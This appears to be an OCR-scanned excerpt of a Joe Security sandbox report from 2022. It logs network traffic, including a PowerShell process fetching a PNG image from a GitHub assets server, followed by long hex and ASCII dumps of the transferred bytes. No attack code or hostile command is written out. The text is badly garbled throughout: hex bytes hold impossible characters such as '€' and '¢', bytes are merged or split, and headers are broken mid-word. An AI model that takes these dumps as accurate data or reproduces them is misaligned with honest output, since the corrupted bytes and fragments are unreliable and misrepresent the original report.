fa 00 16 Of el 2e 80 64 43 00 a8 75 00 d6 5a 93 1b cf bd b1 d9 2b 8e ad b5 25 02 28 ce ff 55 18 a7 0f cb 9d 4d 83 00 50
€7 00 Oe 95 0f 60 bd d9 ac d7 ab 78 b5 13 46 51 9¢c 87 10 df 13 00 6a 7b 09 14 98 13 fc 32 97 40 8b 30 49 e2 24 dc 9f ff
51 7e 14 ¢6 51 83 00 50 eb 9b e0 43 25 6f 82 97 ab 42 9c 65 69 9a 24 49 94 7d 31 04 80 5a 06 dO 2f 9e 7d €9 1e 1c 5¢
95 f9 67 dO fb d5 8b 30 c9 1e b7 db 2c db 6e 9f 36 04 80 da 7e 11 d6 2b 2e f8 fb 83 fd b3 00 c5 a7 ¢3 58 1b c0 62 55 88
a3 34 cb 6f 02 c2 30 4e b8 04 42 3d 03 f0 bd 97 6b a0 99 2d

Data Ascii: [zg6{{9Z?(01&+{9X;):" :!1ZE.dCuZ+%(UMP XxFQj{2@01$Q~QPC%o0Bei$I}1Z/}\g0,n6~+.XbU400NB=k-

Data Raw: e4 2c 6b 90 be dd 79 38 df 3f a3 25 d3 db 04 20 b6 b1 00 98 17 22 00 Ob 17 30 Ob 05 el 6e 90 bd 4b 56 2a c8
80 e4 10 55 80 53 92 57 Oc f7 46 a8 4b 16 Ob 80 79 19 02 6¢ 43 0f 22 bb 3f 68 86 1f ad 66 06 19 90 4e ee a4 12 c7 45 5a
d1 fa be 0a 00 b7 5f 84 00 18 2c 40 d6 27 c0 db 61 a5 db b4 46 €3 6e 06 15 81 c1 ed 43 35 51 64 25 e8 af 00 30 fb 12 04
c0 60 01 b6 a0 07 43 c8 e6 2a 99 ee e8 da 36 20 53 19 Oc 9f de 9f 90 bc d4 5f 12 00 ee ae 4d 80 16 73 11 22 36 41 ed 28
4a 78 c0 60 01 ae a0 07 93 3e 4d 5b ff aa ee c5 1f ac 6e 37 63 c5 8e 65 45 37 74 d5 58 16 €0 69 15 01 da dc 07 77 b3 bl
b8 79 41 2¢ d0 01 a0 46 6¢ 82 23 c0 11 18 2c c0 77 56 40 86 59 3c fd 77 78 bf 1a 4f 14 {7 6f 27 95 9d 82 72 16 df a7 al
a9 3d 2f 09 90 5d 45 80 28 00 21 67 2b 04 00 88 10 Oe 00

Data Ascii: ,ky8?% "OnKV*USWFKyIC"?hfNEZ_,@'aFnC5Qd%0 C*6 S_Ms"6A(Ix >M[n7ceE7tXiwyA,Fl#wV@Y<wxOo'r
=/lE('g+

Data Raw: a9 01 4a 8b 02 84 40 fe de 5d 1f 61 f0 e3 d0 7e 52 56 26 6d 8d 9a 56 12 ee fc 6d f1 84 64 05 05 7e 83 dd 15 05
08 b9 cf 81 3a 49 04 1f 83 04 €0 40 3e 32 8b fa f4 58 a8 e1 f9 a5 4c db 19 fd c8 e5 03 04 f0 cf 43 13 2 9d 88 b3 7f el 7d
18 8e 03 8¢ 33 84 c1 3f 88 59 €6 60 27 9d cb 55 32 83 61 38 b5 97 2d f0 aa ab 43 c4 ea 3f 88 f1 c1 7d cd 71 Ob 00 86 08
12 a0 e6 3e Ob 14 9a 3e 24 ¢4 00 27 cf 2 21 c6 Oe 34 fa 08 6a 82 fd f3 da 80 89 a2 29 f6 3e 53 f2 0a 10 75 44 c4 60 01
9e €0 32 37 83 c7 db 64 c5 fe 45 70 ec e6 94 55 75 45 83 cb 5¢ ad 2a 80 bb 00 99 dd 82 bf 08 14 80 68 33 48 00 77 Ob c1
b5 88 45 4a 17 b3 ¢1 20 01 7c 3 90 00 44 cd 1e c8 b7 Of 09 af 00 a1 3c 5e 01 61 01 02 d7 40 c3 6e fa f1 31 dd cc 58 b9
9d 78 5d 31 35 €9 5b 02 6¢ 05 Ob f0 f3 1c 46 dc ad

Data Ascii: J@]a~RV&mVmd~:1@>2XLC}3?Y 'U2a8-C?}q>>$'.14j)>SuD 27dEpUUEh3HWEJ [D<ra@n1Xx]15[IF

Destinati
Destination IP estination Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /images/modules/site/home/community-readme-1.png HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:42 UTC 3434

2022-04-20 13:07:42 UTC 3435

2022-04-20 13:07:42 UTC 3436

2022-04-20 13:07:42 UTC 3438

2022-04-20 13:07:42 UTC 3439

2022-04-20 13:07:42 UTC 3440

2022-04-20 13:07:42 UTC 3442

2022-04-20 13:07:42 UTC 3443

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 34069

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Tue, 08 Dec 2020 22:46:32 GMT

ETag: "1f70alal3blc8afe737e00c0a9d87f3d"

Content-Type: image/png

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:42 GMT

Age: 1409

X-Served-By: cache-iad-kiad7000149-1AD, cache-mxp6945-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-1D: 9b55659b403f2e30edd249b9d1323e349f435099

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 02 fe 00 00 02 ec 08 03 00 00 00 ac a5 43 1b 00 00 02
5e 50 4c 54 45 00 00 00 ff ff ff ff ff ff ff f ff ff ff ff ff ff ff ff ff ff f ff ff ff ff ff ff ff f ff ff ff f3 f3 3 ad af b0 76 79 7c 4d 51 55 32

37 3b 24 29 2e e4 e4 e5 84 86 89 91 94 96 3f 44 48 5b 5e 62 c8 c9 cb 9f al a4 4c 51 55 d6 d7 d8 e0 df df 81 87 8f 68 6b
6f bc bd bf 58 60 69 6d 73 7c c8 c9 ca c3 bf cb 9a 9a 9c ee ee ee a6 a6 a8 cf cf d0 e7 e2 ec b2 b1 b2 71 70 71 f9 {8 8 80
80 80 56 57 5e ef €6 €2 b6 9c 8e b1 7c 67 b0 8d 7d e2 d8 d3 96 95 96 60 60 60 9e 67 3f 9b 64 3d 97 60 3a d9 ce c9 a0
a0 a0 63 5f 6b d2 c2 ba c6 b2 a8 8d 66 50 8b 8a 8¢ d3 ce d9 7a 76 78 a2 6b 42 8b 55 34 91 5b 37 a3 73 60 9d 67 54 79
48 2d 82 5a 47 83 4f 31 70

Data Ascii: PNGIHDRC"PLTEvy|MQU27;$).?DH[*bLQUhkoX ims|gpqVW"|g} "g?d=":c_kfPzvxkBU4[7s'gTyH-ZGO1p

Data Raw: 77 88 e8 bb fc 5f a6 d7 61 98 a6 97 €9 38 4d 1a 00 7e 4e d3 70 9c 86 71 1f fc 1b 7f 92 ¢5 93 58 8d a5 6d 9b
64 85 bf 8b 16 70 34 89 61 €3 e7 69 29 65 b4 96 1e 70 86 16 6b f1 8d ff cO ce 01 4e 16 71 c¢2 a0 80 40 7b 7f el 7b 8d bf
alag fl 37 d4 48 8¢ 1f f8 6b Oe 40 24 6¢ 04 32 f5 57 {8 1f 4f 67 f2 79 99 ee bc 4c d3 a8 a0 4 b0 2f fe 8d 7f b5 2b fc 7b 26
68 a6 99 bf a6 01 54 64 97 69 0b 35 bd cc 33 f2 67 fe 6e 51 ea 0a 78 67 d6 ab 20 a3 5e a2 c1 4d fe 59 ca 9b 93 3e cc 8d
98 13 2a c0 52 5d f2 1f 29 33 ff 40 05 43 b7 f2 8f al 84 4f 8d d3 4f e0 34 1d 00 Oc 67 fO 87 49 e3 dc al f1 df cd e4 c7 el
4a 8a b4 35 fe ca 7a 44 cl cc 3f d0 c0 09 fd 82 cc 91 97 e6 2f 36 47 Oe Ob eb 6d e7 7a 40 bd el da le 4d 39 83 dd 1e 4d
70 cd e0 5c 66 04 e0 d9 5f f2 4f Ob ff c4 00 89

Data Ascii: w_a8M~NpgXmdp4ai)epkNg@{{7Hk@$I2WOgyL/+{&hTdi53gnQxg *"MY>*R])3@C0O04glJ5zD?/6Gm
z@M9Mp\f_O

Data Raw: Ob 3d 91 bc 61 1e 04 b6 cO ac 90 12 5e 8e 83 69 96 86 48 af 7f 3d 16 fe a7 c9 00 e0 e8 cb 01 1c ff 07 00 ba 69
e88b d7 e6 1c de 27 5a 7f 8f fa d8 a8 3f 11 cc dc 46 7f 84 37 Of c1 16 44 34 c4 b6 f0 1e 73 7a c3 2c¢ ¢5 fc e7 be 27 d2 ff
2090 e9 bf el 00 32 48 c2 00 5f ea 1a f0 3e d1 fa 4b 63 a2 75 f5 9f ¢9 80 db ea ef 36 2c dc 5b ba cb 4b fa 5e de Oe 6 31
08 cf 7a 3d 5¢ 5 bl fc d9 99 67 49 10 ca f4 ff 11 63 9a e0 00 be 21 de 29 5a 7f b0 a5 30 6b ea 6f 4b bf b6 d5 bf 84 45 bc
ad f5 af df 9d 05 83 97 al 1b a2 f5 fd c1 a5 f4 7f de 99 3e 56 ff d3 33 90 f4 2e 43 b4 7f 3¢ 77 €0 bd a2 f5 07 33 32 61 6d fd
73 ec cc b6 d6 7f 29 7d 62 55 0d 6c 05 6b 45 1c 5e 06 e3 1c 8b fe el b0 13 5f 27 8f da 77 45 5 3f f0 fd 30 89 a5 ef 7d al
7f 98 26 59 1f de 2d 5a 7f 64 7d fd

Data Ascii: =a’iH=i"Z?F7D4sz,' 2H_>Kcu6,[K"1z=\glc!)ZOkoKE>V3.C<w32ams)}bUIKE" 'WE?0}&Y-Zd}

Data Raw: 97 59 82 fe a3 fd be af fa 8f 67 81 52 a1 3f 83 0d d1 68 fd 4d e9 73 5e bf 42 f4 9f 2c ae dd d6 a6 95 1f 5b 3d 75
41 38 al a7 dc 56 ea ef 7c 3f bd 33 a0 f5 39 32 00 Oe a6 e8 bf d4 ff 79 f9 c7 7e 20 ed bf 74 60 43 34 5a 7f b9 99 8d 94 20
4b 75 7f 77 f9 29 d6 d6 3f aa 9b 35 ad 1c 61 75 ec e8 cf Ob 9f 46 74 7a e2 38 df bd 2f 5f 1d 60 e8 3f 1e 71 ab a9 0f 7d a2
fd e3 6¢ Oa 1b a3 d1 fa bb 55 4d 1b 90 e6 6f 7d €9 77 ca eb e9 cf 69 4a 5f df b6 bc 2b 60 ab Ob 9f ce al d7 72 1c e6 da Oc
€099 67 e3 54 f5 7f e4 a3 fd 29 ae fd 59 16 c3 c6 68 b4 fe bc aa 69 2d e9 cf 4b 9a bb cc ea 03 d4 6b eb 0f 39 5d fe 99 ec
2e df ef 56 2b f5 07 3e 3b fd cO c1 f9 Of ce 69 74 b1 00 4a f4 c7 a5 1f ed bf 9a 76 40 b3 1b fa 9b 1e 62 bd 8a fe f2 12 a4 20
3311 29 67 ca 08 de b8 81 fe a6

Data Ascii: YgR?hMs”B,[=uA8V|?392y~ t' C4Z Kuw)?5auFtz8/_ ?q}lUMo}wiJ_+'rgT)Yhi-Kk9].V+>;itlv@b 3)g

Data Raw: 51 fb d0 d6 a3 bb b7 17 25 1b a2 77 22 5b 27 72 3c af ¢7 ad dc 69 07 b6 76 4e 77 ad 58 7e 75 26 57 76 Ob 99
19 4a d4 c7 ea 36 8e f3 ea ae fa 8a 27 bd 96 52 ef cc ¢9 28 bd af ¢3 ed 41 36 3c c1 07 73 e6 40 dc ad 1e 57 b7 2c a6 1d
8 ed e6 f5 f5 6f 3b b3 7f 89 15 9f 17 eb eb db 95 62 c8 30 43 98 91 00 83 28 67 2c €0 48 dO cf 30 65 8¢ f9 3e e3 1c 66 38
15 ab 2a 95 a2 0Ob 5f 05 50 c9 bf f7 6e cd 5a 28 fc eb 2d 50 5f 87 6d a7 2d a5 bd 51 3f 37 68 19 6a ea 65 fb aa ab 19 a9
4a 24 3b b2 05 b4 6f 6a d3 69 44 2d ad a8 7b db 5d ef a9 el e3 cc Oc 9d b7 6e 69 70 6e €9 19 fb b8 6f 4c f4 3f 66 27 eb
23 5b 3f 8a dc 52 ce 80 e0 e9 3f 09 ce 5b 71 f5 93 f2 d7 81 19 c5 48 3f 8¢ e4 05 b2 bf 40 fa df be 79 f9 36 f4 7d 08 fa 29
€2 9c 51 08 6e 28 e7 01 09 a8 74 fe Oc 21 €6 53 e4

Data Ascii: Q%w"['r<ivNWX~u&WvJ6'R(A6<s@W,0;b0C(g,H0e>8* PnZ(-P_m-Q?7hjeJ$;0jiD-{InipnoL 2 #[?R?[qH?
@y6})Qn(t!S

Data Raw: b6 c¢6 3f b3 db 07 ¢7 3c Ob 7f 68 9c 64 66 4a 19 56 42 45 ea ad 7e 76 36 fe 55 a9 c4 ¢7 al 72 dc 22 92 9f 7a of
64 3b e3 12 7f 5d 3d 74 b9 27 81 2f ab 4f 12 b9 08 1e 52 el 6f 0a a6 97 f8 9b b2 bf b9 87 05 bb d4 07 fc 65 c8 8f 10 €5 94
c1 97 2e Oc el ce d5 ea 6afa dl f5 f5 cd f5 2a 47 5¢ 49 el 1f 60 29 97 62 c¢6 7d b9 3a 28 85 db c9 b5 ec e2 e0 5f 50 4e
38 2b e0 e9 5a 1a 7f f5 d9 ca 48 e2 75 36 30 c1 1f b6 Of 73 b3 f0 87 7a cd 69 66 a6 56 f4 b9 84 02 2¢ 3f 9c fb d9 Ob 32 8¢
5a 0c 7f 6d a0 e7 b2 59 53 d6 b6 d6 87 1f 22 c6 a3 dd cc 26 fc 90 25 fe 77 91 f3 57 2c e4 87 5e e0 72 8¢ 11 95 92 7c Ob
01 e5 9c¢ 5¢ 3e bc be fe ee fa 46 ea 2a 08 b8 9¢c a6 90 17 73 28 8d 32 c2 b0 5f Oc 69 c5 ¢3 d8 df d8 79 b2 fd c2 5a 18 fc 33
03 a0 20 07 30 69 fc b3 80 7f 62 2a 68 49 19

Data Ascii: ?<hdfJVBE~v6Ur"zd;]=t/ORoe j*G\I")b}:(_PN8+ZHu60szifV,?2ZmY S"&%wWW,"r[\>F*s(2_iyZ3 0ib*hl

Data Raw: 2¢ 7f 1d d8 f3 f0 07 55 07 f1 a8 a9 3a 99 3c 69 19 57 6e ea 40 6d 89 ff 7c ad ad 57 28 f5 42 9f b9 70 84 9f 4a
aa 19 4f a7 d3 df fd 7c 33 4b d7 3f fd 74 9d f6 83 40 56 3b 19 92 ff 70 75 36 82 10 df 45 b4 84 30 be ef 64 16 0Oa ff 86 Oa
42 62 f8 5b ef 6f bl d0 af 59 71 fc al 37 85 3f c8 3e 8b cc bd e7 b0 7 a2 6f 5¢c 5e ea 10 4c¢ 23 3f 17 7f 50 32 d5 32 d5 ac
c6 8f 52 b4 ce 4d bb 5d 59 e2 3f 5f f6 4a 7e fb 9d bf 1e 7a 84 b9 3e 22 1c 21 48 7d 51 fa 2a fd dd cd 67 f5 17 3f e0 18 be
Oc 40 dc 2f a4 76 05 cc 23 a2 cf b6 5f 2f 14 fe 35 75 Oe c7 c4 1f 94 e8 f6 ¢7 00 77 01 a7 69 fc b3 ed 29 fc 41 56 22 35 de
5b df 35 4e cd 0d 8d 37 a3 4a 30 1a d6 5c fc 41 e5 3 41 4b 6b 70 5¢ 36 a7 b2 3d a3 dO bf af 8b 54 4b fc e7 d7 7d le 6¢
6f f9 ef 38 61 98 fb 24 18 ff cf Oc 2f ff

Data Ascii: ,U:<iWn@m|W(BpJO|3K?t@V;pu6E0dBb[oYq7?>0\"L#?P22RM]Y?_J~z>"IH}Q*g?@/v#_/Suwi)AV"5[5N7J0\
AAKkp\6=TK}lo8a$/
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:42 UTC 3444 IN
2022-04-20 13:07:42 UTC 3446 IN
2022-04-20 13:07:42 UTC 3447 IN
2022-04-20 13:07:42 UTC 3448 IN
2022-04-20 13:07:42 UTC 3450 IN
2022-04-20 13:07:42 UTC 3450 IN
2022-04-20 13:07:42 UTC 3452 IN
2022-04-20 13:07:42 UTC 3453 IN
2022-04-20 13:07:42 UTC 3454 IN
2022-04-20 13:07:42 UTC 3456 IN

Copyright Joe Security LLC 2022

Data

Data Raw: ac d9 13 88 8d f4 a4 5¢ 9e c4 01 21 68 61 d1 c0 80 ec fb d8 39 b3 25 9d cb 36 7f 6b 55 ec 74 90 3c c2 Oc 20
13 fc 6e 6acc f6 17 cd 4f e7 16 fd 4f ae f5 9f e4 c2 71 1c 32 8a d6 22 c4 80 e8 0d 35 b7 2e 74 bb 1b 15 9b bf b5 2a d6 ba
a8 7d 06 0d ¢8 02 Oc d7 f2 cf ed 9b fa 17 fd 1b f3 fd e0 45 ff ¢5 71 98 24 80 Oc 24 5a cc e4 33 d4 ec 5 b6 d6 37 ee b1l Ob
9f d6 aa d8 69 3a ce d0 47 f2 3c ed 09 20 72 6e 62 52 2f 4e e6 a6 b3 a9 bl 18 85 d2 fe 63 23 37 2e 46 9a 11 19 45 2b 0d
c85a 33 f5 7a 9b 1b 2b f0 4a 0f 96 f5 dd c1 c1 77 df 35 2a 8d 27 1c 7f 28 a0 e9 da 93 56 c2 fd 89 91 2b 44 a9 bd df cc 4c
826 7e c3 e4 1f 3d f2 42 94 04 30 df f1 65 20 4c 31 39 bd 5e fb 62 c5 e6 bf fc ac 83 85 ff 76 fb b5 ac 7e f2 14 66 c8 Oc 3d
69 f9 a5 42 b4 b7 3f 9d 4d 8¢ 1b 2 of fd

Data Ascii: \'ha9%6kUt< njOOg2"5.t*}Eq$$Z37i:G< rnbR/Nc#7.FE+Z3z+Jw5*(V+DL&~=B0e L19"bv~f=iB?M

Data Raw: eb f9 8e 2a 97 72 d7 e2 4f e6 3b c3 b9 7c 3c 49 1f ee e3 77 3a 6e 9a bf 3f c0 27 fe 44 dd 79 38 4b 8a 6b 67 bc
d2 ad e0 9c 73 c2 01 e7 9c 03 2f 39 e7 6¢ bf a4 5d d1 bb d2 96 36 19 36 e3 dd Ob 98 6e a8 28 2a 40 15 74 b5 6b 76 bf 97
93 68 cf e6 9c fe 32 f7 39 e8 6 65 7b 66 d6 95 af ef 77 13 47 a8 75 Oe f4 4f e2 48 f4 30 a9 fa e4 a7 53 29 c5 35 c2 3f Oe
ba b6 ed 02 cd 86 Oe ba 71 6¢ 8a 98 32 ff d2 62 a8 54 50 03 53 1d 16 35 a3 92 d7 25 55 d4 45 9d Oa 21 55 d9 b4 cd b4
e2 97 26 b5 d2 45 53 d1 ce 64 6a 9b bd 92 27 5e 86 b6 a9 95 20 6d ea 94 9c 76 55 36 fb 5¢c 4d cd 10 68 b5 59 0b 91 15
c5al 70 75 68 6b 75 a8 bf 35 82 95 6d ba b6 29 bd 21 4c d5 b4 1d 87 28 64 5d c6 a6 6e 94 58 8a 5a 69 c6 76 88 24 57
89 a6 76 f4 2d c5 55 a9 c3 43 cc 5d 20 85 88 6a 07 8a 88 aa

Data Ascii: *rO;|<lw:n?'Dy8Kkgs/9l]66n(*@tkvh29e{fwGuOHO0S)5?qI2bTPS5%UE!U&ESdj"* mvUB\MhY puhku5m)!L(
djnXZiv$Wv-UC] j

Data Raw: 26 24 8d c8 09 ff fc 05 el 9b 94 44 22 6b bb c4 7f 3b 33 4b 61 e4 70 86 a5 a8 13 15 68 0d 6b 47 7c 6a 8a ed
44 29 a0 96 f3 4a 4f 19 a0 08 7f €3 8b ab Ob fc 35 a5 40 ac 12 1d el df 69 3e 8e 5b f1 2f 96 19 7b 84 de b7 d4 19 56 e2
3b 87 4c d7 51 31 e2 12 ff 90 3a 1e ab c4 40 8 0f 62 21 59 ¢3 6d 94 43 29 c5 68 cd 55 e4 3f 87 2f 7d d2 07 be 22 58 fa 5f
ef 0a b5 88 ee fd 54 71 7 df 3c f8 30 c1 ef c5 4 3f fb a5 e7 f8 9f 7c fd 5 df c4 52 4a 71 4d f1 8f f7 38 c8 4e 8a 33 fb b5 60
29 d8 53 fc 8d eb b5 76 ad 2e 10 88 60 26 db Oc d6 01 b8 c0 7f 43 65 21 00 ¢7 02 93 ¢7 52 8b c2 80 fO ff ec d9 d9 cd 19
7f dd 20 10 ac 6a 89 7f 7d 89 7f 02 b8 59 40 2e ea 85 15 12 d4 a9 38 91 al 1d 17 ea 50 f8 2d 20 12 99 75 b7 e0 9f d9 cb
d8 la c2 7f 92 77 c0 bf c6 b0 c4 bf 15 a4 66

Data Ascii: &$D"k;3KaphkG|jiD)JO5@i>[/{V;LQ1:@b!'YmC)hU?/}"X_Tq<0?|RIGM8N3")Sv. &Ce!R j}Y @.8P- uwf

Data Raw: cb af 1e 06 fe 77 5f 7b fd b5 c3 {7 5f 3c 37 ¢3 4d d9 8f 87 fe 73 Ob fe 6f 7c e2 50 be e0 ff c6 f9 bb af bf fe fa 6b
ef bd ff eb fa 7a e0 2f b2 cd d0 34 53 10 b3 a1 93 7d d7 d5 7e c0 53 79 ca 65 79 11 d0 46 9c e7 7a 2e 6 7d 3b ad 86 a9
3042 a8 b2 88 e7 9b 60 be 8d a9 9b 8a b5 14 4b 7d 73 30 75 fb 60 ae b2 ch 43 41 77 c1 7e 2afa 41 5a 00 12 61 b2 49
8c d8 13 29 3a 22 df dc 16 7b de 49 76 54 Oc 87 17 67 62 96 29 bb 6e bb d2 Oc 64 9e 73 dc eb 72 89 bf 88 93 ed be ca
7d 00 aa ee ba 7d c2 d5 64 14 d1 df a3 83 a8 28 42 6e 65 df 4d a5 f2 7b 94 f4 2d 6b 6e a9 Oa e2 05 1c d5 be de 18 Oe 29
df 09 92 77 50 73 6d 3e 7f 43 1d 49 91 56 a5 21 7f c5 86 1c c4 9b al 1b 8a b5 77 cO 7f 97 6d 4e 43 4d 87 a3 77 74 b8 57
aa f8 7f d9 3b Of df 44 96 2d 8d 2b 59 69 82 5f ce cf

Data Ascii: w_{_<7Mso|Pkz/4S}~SyeyFz.};0B K}sOu' CAw~*AZal):"{lvTgb)ndsr}}d(BneM{-kn)wPsm>CIVIwmNCMwtW;D-
+Yi

Data Raw: 6d a3 2a 96 ad 5b €3 5b 2b al 26 8b af 39 69 fa e2 ef ce ac b4 75 a9 c3 69 a2 27 18 ec ef f8 c0 56 c7 3f a2 db
95 ec 03 f1 f0 37 80 de 4c 75 fe fO dd 9d 00 d5 9e 27 10 f7 78 04 3e 4e a4 68 7f cb d7 25 2e 3a ee a5 f1 cd f1 89 6¢ 86 cc
5d a5 c5 cc 65 2c 3f af aa 78 ba €9 d6 Oa eb b2 58 cd 65 91 83 ad b2 81 16 ab 6e 2a 57 95 4d ea 59 a7 8e 35 f5 29 30 d9
7011 81 e0 62 49 9e dd 46 21 e5 aa cf e9 al af 5d 95 1f 77 ab €9 ba bb ac 03 76 b4 d3 b2 f3 0d fc c8 da 97 90 fc 21 e5
96 d2 35 ac a4 b7 e6 ab 48 3f el ac 56 57 d0 a6 a4 da 94 d5 d7 2a b9 29 a7 8c ec 83 6a 45 ed 1a 16 bb 15 dd 58 3 68
9d 42 eb 86 4a 26 65 95 1b 4e 1e 3b be 26 4e Ob b3 71 98 0f c1 e2 4c 46 17 51 81 23 93 fb 4a 47 90 78 b4 73 45 70 13 fd
a8 e7 58 9e 92 df fd bb bb 3a e8 79 fc e4 95 77 06 c2

Data Ascii: m*[[+&9iui'V?7Lu'x>Nh%.:l]e,?xXen*WMY5)0pbIF!Jwv!5H?VW*)[EXhBJ&eN;&NgLFQ#JIGXSEpX:yw

Data Raw: 1b ab ac 71 01 f8 33 37 2f a3 26 87 f2 d9 2e ba aa a3 2c 50 12 5b 6b 8d d5 15 fe ac 5¢c a0 4d 95 96 c6 df 24 eb
ad d3 86 43 95 85 b7 81 6¢ 88 96 bc 43 1d 71 db c4 46 3f 80 dc 58 63 74 41 97 ae b7 85 56 d0 df 6b 9b 79 1f f5 f8 4b 82
df Ob 14 eb 9e df dd dd db db 0d 05 95 10 f6 23 36 f2 c9 5 7b 26 f4 81 09 f7 b6 88 7c al ce db 5f ce 8f 25 fe e0 a3 14 27
84 32 19 fe ec 75 b6 06 fc 29 75 72 99 f2 f8 21 61 07 08 77 17 68 8b ea aa ce 7c 36 04 ff 0d 9d 02 a7 78 14 ff 1b 65 86 e8
c7 2243 aa 51 ee a8 cd 1b 15 f6 d2 d4 66 91 d1 9d 08 74 a0 8c f2 8a de 12 b0 a8 76 59 2e 9b 24 a2 ae 6d fO a7 2f ed a6
0f 65 59 9c ¢7 2f 63 b9 48 f5 30 91 4a cf 1a dc 71 1a d2 17 4c Of b8 64 fO ef ee ce 20 64 57 2f ae 62 7b b0 2e ba 3e 8c 96
ee Ob 3e ef f5 7a 68 43 13 9f 9a 7e 8d 7c 7f

Data Ascii: q37/&.,P[K\M$CICqF ?XctAVkyK#6{&|_%'2u)urlawh|6xe"CQftvY.$m/eY/cHOJgLd dW/b{.>>zhC~|

Data Raw: ¢4 98 e2 0f a5 17 17 1d 2b f6 c6 f3 c5 54 d3 9e fb ff 2a db a4 5b 8c d4 85 4f 5e 45 f0 83 d4 b0 c7 db 15 f2 c5
d4 ca e6 fb 96 fc 2f 14 64 f8 €3 56 1c f5 0d e7 53 48 84 62 ad e4 ce f4 d5 d2 99 f9 dc c2 5¢ 22 47 7b f9 af eb c3 f4 04 58
ba 66 a6 3e 41 bf c6 9f a2 7a c3 7d 5b 9d 07 8a 7e 54 8b 08 0d d4 al da f2 43 06 67 af 1b b6 7d 7a 72 76 b0 02 6e 3e d9
eb Ob fc d7 59 ea 84 25 ff 71 ¢9 ¢9 38 07 ¢3 d7 44 e7 7a f0 Ob f4 61 4c 00 44 55 a6 ac 83 7f 11 18 ef 6f €6 7d fO d2 Oa 43
9c 51 ed f3 ¢8 53 2 52 ¢6 f8 2a fc al 52 14 76 3¢ 3d e3 a9 24 cd 40 ce 8d 24 f8 23 62 b1l 4f d8 f0 18 97 4a 94 43 dd c6
12 8b 44 e7 7e f0 7b ba be fe 69 a0 1a 20 f6 a7 07 5e c¢7 d4 8b 7c 23 2f f0 3d c8 cc fe 90 35 13 46 3¢ Oc b7 3d O 4f 2f 9c
8 6e 26 cl ff c6 ea 46 85 95 4e fa e5 Of fd

Data Ascii: +T*[O"E/dVSHb\"G{Xf>Az}[~TCg}zrvn>Y%q8DzalL DU0}CQSR*Rv<=$@%$#bOJICD~{i "|#/=5F<=0/n&FN

Data Raw: e8 df ad 73 d3 97 a3 d9 5¢ 50 7 70 Oa f6 81 13 27 d4 0f 00 1c 89 ad le 3f f3 d6 49 e0 37 6f 3e d6 2f cO €9 ab
55 c0 cf 20 8a 6¢ 73 63 c4 a5 Oc 42 ad fe 76 8¢ 50 a5 7f c1 c5 38 44 fd 1d ff 37 81 7e 2f b2 76 dc €9 5f 1f d3 5f 7f 5b 68 2e
cc cc 34 67 a0 52 bf 79 f3 e6 d9 33 57 6b 8b 95 6a 63 a6 5¢ cf 5a 42 90 95 de b8 7a €6 ec 8d 1b 9f 1a ff 3f 9b 2a 54 e7 b9
88 23 1f 54 07 88 41 db 2f 07 ¢5 1e a3 be 35 5f d3 29 7c 80 fa bf d8 c3 fd 05 9b 3e 93 €0 f2 f8 b2 b7 f1 71 ff f2 42 b9 bc
00 9f 66 fd cc db 16 78 Of bc d9 c5 46 dd 74 Oe ca dO dc a9 56 97 a6 de fd 41 f1 e8 d2 27 fd 80 2b 44 44 42 df c6 71 8e b9
4c bb bd a2 e7 ad 27 9c 0d 2f 15 ed 14 3e cc 81 fe 93 5e f1 fc Oc 47 7d 6 c6 19 bf e5 46 03 1a f3 8d 66 b3 be b8 6d bf 37
55 99 86 1f 80 65 30 bf 31 5d ad 9¢c

Data Ascii: s\Pp'?170>/U IscBvP8D7~/v__[h.4gRy3WKkjc\ZBz?*T#TA/5_)|>qBfxFtVA'+DDBqL'/>"G}Ffm7Ue01]

Data Raw: Ob df 46 65 d7 eb a6 5¢ 30 6a 83 82 02 23 c1 41 37 7f 2e 1c 43 fd 91 3c f1 fc 58 2a 09 e5 29 48 ee a0 Oa c8 58
a4 8b a9 19 f1 a4 22 e9 79 ea 15 88 23 e2 06 3e 87 56 3a 7f b7 b0 8a fa 23 b9 e2 Oe a8 4f 68 9a 30 17 aa 13 b0 27 55 47
¢4 76 00 b2 8b 07 5e df bc 02 2c a2 ee 50 30 5d f9 4f 7f d1 42 fd 91 5¢ f1 ba 90 Oc 34 4f 13 41 5d bd 0f 49 f6 d5 d6 fe 1a
3b 2a1a 78 45 2f 48 39 17 71 e4 7e 04 b6 ee 1d 6b al fe 48 be 98 al 3c a6 40 1a 40 ae cd 77 f2 43 a6 af 21 f9 21 d1 19
ef 16 fb bd 44 4a ce 63 1d d5 bc 7d 77 eb 6f 2b a8 3f 92 33 e6 7c 21 a8 f1 5f 0a 66 5e 00 87 15 df a4 al 19 20 cd 22 3e
b3 d4 f3 bc 5e b7 db eb 75 13 49 4b cd eb 2d d4 1f c9 17 d7 e7 fc 48 50 8d e8 4a c9 23 67 bf a9 f8 f5 €5 a6 7b b7 d7 46
43 0a 19 15 3c a6 f4 e0 e2 62 5 d8 6a Ob f5 47 72

Data Ascii: Fe\Qj#A7.C<X*)HX"y#>V:#0Oh0'UGv",PO]JOB\40OA]l;*xE/H9g~kH<@@wC!'DJc}wo+?3|!_f* "> ulK-HPJ#g
{FC<bjGr

Data Raw: 66 e5 e0 de 8f 84 14 b3 c6 71 68 4e bb e5 55 ab 3a c6 d1 ac f4 29 al d9 74 eb b9 04 ea 25 63 6b f5 9d fb 23
